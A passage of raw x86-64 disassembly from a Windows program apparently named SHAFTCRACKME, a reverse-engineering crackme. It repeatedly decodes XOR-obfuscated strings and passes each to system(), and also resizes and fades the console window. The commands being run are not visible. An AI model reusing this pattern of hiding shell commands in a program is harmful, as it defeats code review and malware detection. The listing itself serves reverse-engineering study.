call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2278]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2278]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2298]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2298]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x22b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x22b8]
call fcn.1400185d0
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x22d8]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x22f8]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2318]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2338]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2358]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2378]
call fcn.140017970
nop
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2398]
call fcn.140017970
nop
call fcn.1400027f0
test al, al
je 0x1400155fe
lea rdx, [0x14008f6e1]
mov rcx, qword [0x140080528]
call fcn.140018080
mov rcx, rax
lea rdx, [0x140018250]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x310]
lea rcx, [rsp + 0x30]
call fcn.140015980
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140006980
mov r8d, ebx
cmp r12d, 2
jl 0x140006943
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
mov edi, Ordinal_35
movd xmm8, edi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006840
cmp r8d, 0x13
jge 0x140006980
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140006950
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x23b8]
call fcn.140017bb0
nop
lea rcx, str.MODE_CON_COLS55_LINES12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, 2
mov r8b, 0xc3
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xee0]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx esi, word [rbp + 0xeee]
sub si, word [rbp + 0xeea]
lea eax, [rsi + 1]
mov word [rbp - 0x20], ax
movzx edi, word [rbp + 0xef0]
sub di, word [rbp + 0xeec]
lea eax, [rdi + 1]
mov word [rbp - 0x1e], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rbp + 0xed8], ebx
mov word [rbp + 0xedc], si
mov word [rbp + 0xede], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rbp + 0xed8]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov byte [rsp + 0x31], 0
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x31]
call fcn.140015970
mov rcx, rax
cmp byte [rax + 7], 0
je 0x140006bc0
cmp r12d, 2
jl 0x140006b80
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
mov esi, Ordinal_35
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x140006bc5
mov r9, rcx
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140006b90
mov esi, Ordinal_35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x32], 0
lea rdx, [rbp + 0x328]
lea rcx, [rsp + 0x32]
call fcn.140015980
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140006d70
mov r8d, ebx
cmp r12d, 2
jl 0x140006d33
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006c30
cmp r8d, 0x13
jge 0x140006d70
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140006d40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x33], 0
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x33]
call fcn.1400159b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140006ef0
mov r8d, ebx
cmp r12d, 2
jl 0x140006eac
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140006ec0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x34], 0
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x34]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140006fe0
cmp r12d, 2
jl 0x140006fa6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140006fe0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140006fb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x35], 0
lea rdx, [rbp + 0x4a8]
lea rcx, [rsp + 0x35]
call fcn.1400159f0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140007190
mov r8d, ebx
cmp r12d, 2
jl 0x140007153
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140007050
cmp r8d, 0x15
jge 0x140007190
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140007160
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x36], 0
lea rdx, [rbp - 0x14]
lea rcx, [rsp + 0x36]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140007280
cmp r12d, 2
jl 0x140007246
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140007280
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007250
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x37], 0
lea rdx, [rbp + 0x6c0]
lea rcx, [rsp + 0x37]
call fcn.140015a20
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140007430
cmp r12d, 2
jl 0x1400073ed
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400072f0
jmp 0x140007430
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140007400
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x38], 0
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x38]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140007520
cmp r12d, 2
jl 0x1400074e6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140007520
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400074f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x39], 0
lea rdx, [rbp + 0xd40]
lea rcx, [rsp + 0x39]
call fcn.140015a40
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x1400076d0
mov r8d, ebx
cmp r12d, 2
jl 0x140007693
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140007590
cmp r8d, 0x33
jge 0x1400076d0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400076a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3a], 0
lea rdx, [rbp - 0xc]
lea rcx, [rsp + 0x3a]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x1400077c0
cmp r12d, 2
jl 0x140007786
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1400077c0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007790
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3b], 0
lea rdx, [rbp + 0xc00]
lea rcx, [rsp + 0x3b]
call fcn.140015a80
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x140007970
mov r8d, ebx
cmp r12d, 2
jl 0x140007933
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
